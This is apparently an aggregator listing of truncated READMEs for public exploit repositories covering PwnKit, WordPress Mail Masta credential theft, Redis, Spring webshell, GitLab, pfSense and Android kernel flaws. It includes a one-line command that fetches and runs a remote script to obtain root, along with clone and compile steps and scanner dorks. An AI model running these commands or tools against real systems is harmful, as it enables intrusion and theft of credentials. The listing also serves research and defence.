CVE-2021-4034

CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

wp-mail-masta-exploit

WordPress プラグイン Mail Masta 1.0 - CVE-2016-10956 エクスプロイト このスクリプトは、WordPress プラグイン Mail Masta 1.0 の CVE-2016-10956 脆弱性を悪用して、wp-config.php から認証情報を抽出します。 使用方法 1. リポジトリをクローンします: root@kitploit: git clone https://github.com/Hakchoven/wp-mail-masta-exploit.git 2. ディレクトリに移動します: root@kitploit: cd...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash 一些用法： root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2025-46817-PoC

CVE-2025-46817 Redis 整数溢出漏洞利用工具 一个针对 Redis 整数溢出漏洞 CVE-2025-46817 的轻量级 C 语言利用工具。 🚀 功能特性 轻量级 ：单一 C 文件，除 hiredis 外无外部依赖 高性能 ：原生编译，性能最大化 彩色输出 ：美观的终端颜色和图标 崩溃检测 ：自动检测服务器崩溃 版本检查 ：识别存在漏洞的 Redis 版本 超时支持 ：可配置连接超时时间 📋 环境要求 Ubuntu/Debian root@kitploit: sudo apt-get update sudo apt-get install build-essential...

Log4j-CVE-2021-44228

此存储库没有 README。...

text4shell-CVE-2022-42889

This repository does not have a README...

spring-rce-poc

spring-rce-poc 测试 CVE-2022-22968 易受 CVE-2022-22968 影响的简单应用 Dockerfile 可用于在存在漏洞的 Tomcat 9.0.59 版本上构建它 exploit.sh 是一个 shell 脚本，尝试在 localhost 的 8080 端口上利用该 CVE 如果使用 exploit.sh 攻击成功，则在目标应用的 http://localhost:8080/shell.jsp 上下文中应可访问 一个带有基本 webshell 的简单 JSP 网站。...

cve-2021-4034-playground

此存储库没有 README。...

gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 La vulnerabilidad fue causada por un error en la forma en que GitLab manejaba la verificación de correo electrónico durante el restablecimiento de contraseña. Un atacante podía proporcionar dos direcciones de correo electrónico en una...

PoC-CVE-2021-4034

PoC-CVE-2021-4034 PoC 参考 https://github.com/arthepsy/CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt 用法： gcc PoC.c -o PoC ./PoC...

cpanel-cve-2026-41940-fix

cpanel-cve-2026-41940-fix 针对通过 CVE-2026-41940 及 nuclear.x86 僵尸网络攻击活动被入侵的 cPanel/WHM 服务器的一键检测与修复工具。 这是什么 2026年4月28日 ，cPanel 披露了一个影响所有 11.40 之后受支持的 cPanel 与 WHM 版本 的预认证 身份验证绕过漏洞（CVE-2026-41940，CVSS 9.8）。攻击者只需向 2087 端口发送一个 HTTP 请求，即可在未认证的情况下注入 user=root 会话并直接进入 WHM。 该漏洞的利用在野外至少自 2026年2月23日...

Admidio-3.2.8-CSRF-POC-by-Provensec-llc

Admidio-3.2.8-CSRF-POC-by-Provensec-llc Admidio 3.2.8 跨站请求伪造漏洞，分配的 CVE 编号：CVE-2017-8382 https://www.exploit-db.com/exploits/42005/ http://en.0day.today/exploit/27771...

CVE-2020-3952

このリポジトリには README がありません。...

omae-wa-cheese-da

omae-wa-cheese-da Image GPU任意物理读写（CVE-2025-21479） - KASLR泄露 - SELinux宽容模式 - RKP安全的init-hook根服务器及DEFEX绕过自定义二进制执行（LDPRELOAD） 大约需要6分钟。请耐心等待。 稍后我会优化。 已测试设备 Galaxy Z Flip 5 SM-F731N 固件：F731NKSU5EYD9 Android：15 安全补丁：2025-04-01 SoC：Snapdragon 8 Gen 2 SM8550 / kalama GPU：Adreno 740 v2 Galaxy Z Flip 5...

telnetd

telnetd 不知道这里该写什么，我稍后会编辑，但这是关于 telnetd 的 CVE-2026-24061。...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 Exploitation Toolkit. What? This is an exploitation toolkit for the pfSense pfBlockerNG = 2.1.426 plugins remote command injection feature discovered by IHTeam. I wrote this to play around with some of the design principles found in t...

CVE-2023-32364-macos-app-sandbox-escape

CVE-2023-32364-macos-app-sandbox-escape CVE-2023-32364 のエクスプロイト...

CVE-2022-26134_check

CVE-2022-26134check このスクリプトは、ConfluenceサーバーがCVE-2022-26134の脆弱性に対して脆弱かどうかをリモートでチェックするために使用されます。この脆弱性はリモートコード実行の欠陥であり、パッチが適用されていない場合、攻撃者がサーバー上で任意のコードを実行することを許可します。この脆弱性は、6月に複数のボットネットによって悪用され、パッチ未適用のインストール環境に暗号通貨マイニングマルウェアを展開していました。 使用方法： システムにPython 3がインストールされていることを確認してください。...

CVE-2021-43798-mass_scanner

Grafana CVE 2021-43798 Grafana 未授权任意文件读取漏洞 CVE-2021-43798 依赖 root@kitploit: python3 -m pip install -r requirements.txt 或 pipenv install -r requirements.txt Dorks Dorks（Shodan | Google） Google Dorks Shodan Dorks 使用方法 目标末尾不带 /。且不带 http:// 或 https:// targets.txt 文件示例 root@kitploit: target.com...

blogpost_cve-2018-19987-analysis

CVE-2018-19987（D-Link 操作系统命令注入）分析 大家好！ 在这篇简短的博客文章中，我将详细拆解我所进行的一项快速分析，以更好地理解 CVE-2018-19987 背后的细节。起初我追踪这个 CVE 是因为我以为没有任何公开信息或漏洞利用。在进行初步分析后不久，我在 GitHub 上找到了两个公开的 PoC，你可以在这里和在这里找到它们。 由于我已经完成了大部分工作，并且没有找到完整的分析，我决定无论如何都要写这篇博客文章。 希望你喜欢！ 更新： 好吧……当我在这篇博客文章中遇到困难并进行谷歌搜索时，我发现了下面这篇文章，它描述了 D-Link DIR-818...